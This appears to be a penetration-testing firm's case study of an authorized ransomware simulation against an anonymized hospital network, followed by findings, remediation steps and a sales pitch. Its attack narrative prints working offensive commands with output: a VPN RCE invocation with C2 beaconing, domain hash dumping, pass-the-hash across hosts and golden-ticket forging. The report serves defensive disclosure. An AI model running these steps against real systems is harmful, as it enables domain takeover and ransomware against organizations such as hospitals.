Pre-Emptive Ransomware Simulation
A regional hospital wanted to know if a ransomware crew could lock its patient-care systems before anyone noticed. We started on the open internet with zero credentials. Thirty-six hours later we held the keys to the entire domain — and proved we could encrypt 14,000 endpoints without ever encrypting a single real file.
- Duration
- 6 Weeks
- Team
- 4 Operators — Full-Scope Red Team
- Scope
- Red Team Operation
- Methodology
- Black-Box Red Team / MITRE ATT&CK / TIBER-EU aligned
Attack narrative
Each phase references the MITRE ATT&CK technique used, with captured evidence.
- 01
Initial Access
T1190 — Exploit Public-Facing Application
The perimeter SSL-VPN had missed a critical vendor patch by 41 days. A crafted pre-auth request returned command execution as root on the appliance.
operator@proteqon: perimeter-recon$ nmap -p- --min-rate 5000 -sV vpn.medcare-health.orgPORT STATE SERVICE VERSION443/tcp open ssl/https Pulse Secure VPN 9.1R11[!] Build 9.1R11 is 41 days behind the critical patch[!] Candidate: pre-auth remote code execution$ python3 vpn_preauth_rce.py -t vpn.medcare-health.org -c "id"[*] Sending crafted authentication payload...[+] RCE confirmed -> uid=0(root) gid=0(root)[+] Staging in-memory implant, beaconing to C2...$ - 02
Credential Access
T1003 — OS Credential Dumping
From the DMZ foothold we reached a domain-joined jump host and dumped secrets directly from a domain controller using a relayed backup account.
operator@proteqon: secretsdump$ impacket-secretsdump -just-dc MEDCARE/svc_backup@10.10.20.5[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)Administrator:500:aad3b...:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b...:8a1b2c3d4e5f60718293a4b5c6d7e8f9:::[+] krbtgt hash captured - golden ticket is now possible$ - 03
Lateral Movement
T1021 — Remote Services (Pass-the-Hash)
A backup service account held Domain Admin with a non-expiring password. On a flat network, its hash unlocked every host at once.
operator@proteqon: spray$ crackmapexec smb 10.10.20.0/24 -u svc_backup -H 31d6cfe0...SMB 10.10.20.5 [+] MEDCARE\svc_backup (Pwn3d!)SMB 10.10.20.11 [+] MEDCARE\svc_backup (Pwn3d!)SMB 10.10.20.0/24 [+] 412/412 hosts -> local admin[!] No network segmentation between clinical and corporate VLANs$ - 04
Persistence
T1558 — Steal or Forge Kerberos Tickets
With the krbtgt hash we forged a golden ticket: durable, detection-resistant access to the entire domain that survives password resets.
operator@proteqon: golden-ticket$ impacket-ticketer -nthash 8a1b2c3d... -domain-sid S-1-5-21-44 \$ -domain MEDCARE Administrator[+] Golden ticket for Administrator saved to Administrator.ccache$ export KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass MEDCARE/Administrator@dc01[+] NT AUTHORITY\SYSTEM on dc01.medcare.local$ - 05
Impact (Simulated)
T1486 — Data Encrypted for Impact
We staged access to 14,000 endpoints, including EHR and imaging servers, and proved fleet-wide deployment capability. No data was encrypted — impact was demonstrated with a harmless canary file only.
canary_deploy.ps1 (benign proof, no encryption)powershell# Deployed via GPO to prove reach. Writes a marker file ONLY.# No encryption routine was ever shipped to production hosts.$targets = Get-ADComputer -Filter * | Select -Expand DNSHostNameforeach ($t in $targets) {Invoke-Command -ComputerName $t -ScriptBlock {Set-Content "C:\PROTEQON_CANARY.txt" "reachable: $(hostname) @ $(Get-Date)"}}Write-Host "[+] Canary landed on $($targets.Count) hosts" -ForegroundColor Green
Key vulnerabilities
Unpatched Internet-Facing VPN Appliance
A pre-auth RCE on the perimeter SSL-VPN provided direct, unauthenticated access into the internal network.
Over-Privileged Service Accounts
A backup service account held Domain Admin with a static password, collapsing the entire domain to one credential.
Flat, Unsegmented Network
Clinical, corporate, and administrative systems shared one broadcast domain, enabling unrestricted lateral movement.
No Endpoint Detection on Legacy Hosts
Critical legacy servers ran only signature-based antivirus, providing no behavioral detection of the intrusion.
Remediation
- 01
Implement a tiered Active Directory administration model with hardened privileged access workstations.
- 02
Rotate krbtgt twice, eliminate non-expiring privileged service accounts, and adopt group-managed service accounts.
- 03
Segment clinical, corporate, and OT networks behind enforced east-west firewall policy.
- 04
Deploy modern EDR with 24/7 monitored response across the entire estate, including legacy systems.
Outcome
Complete restructuring of Active Directory and implementation of Zero Trust architecture.
- 36 Hours
- Time to Domain Admin
- 14,000
- Endpoints at Risk
- 0 Alerts
- Initial SOC Detection
- < 5 Min
- Post-Remediation Detection
All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.
Start an engagement
Want this level of rigor on your systems?
Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.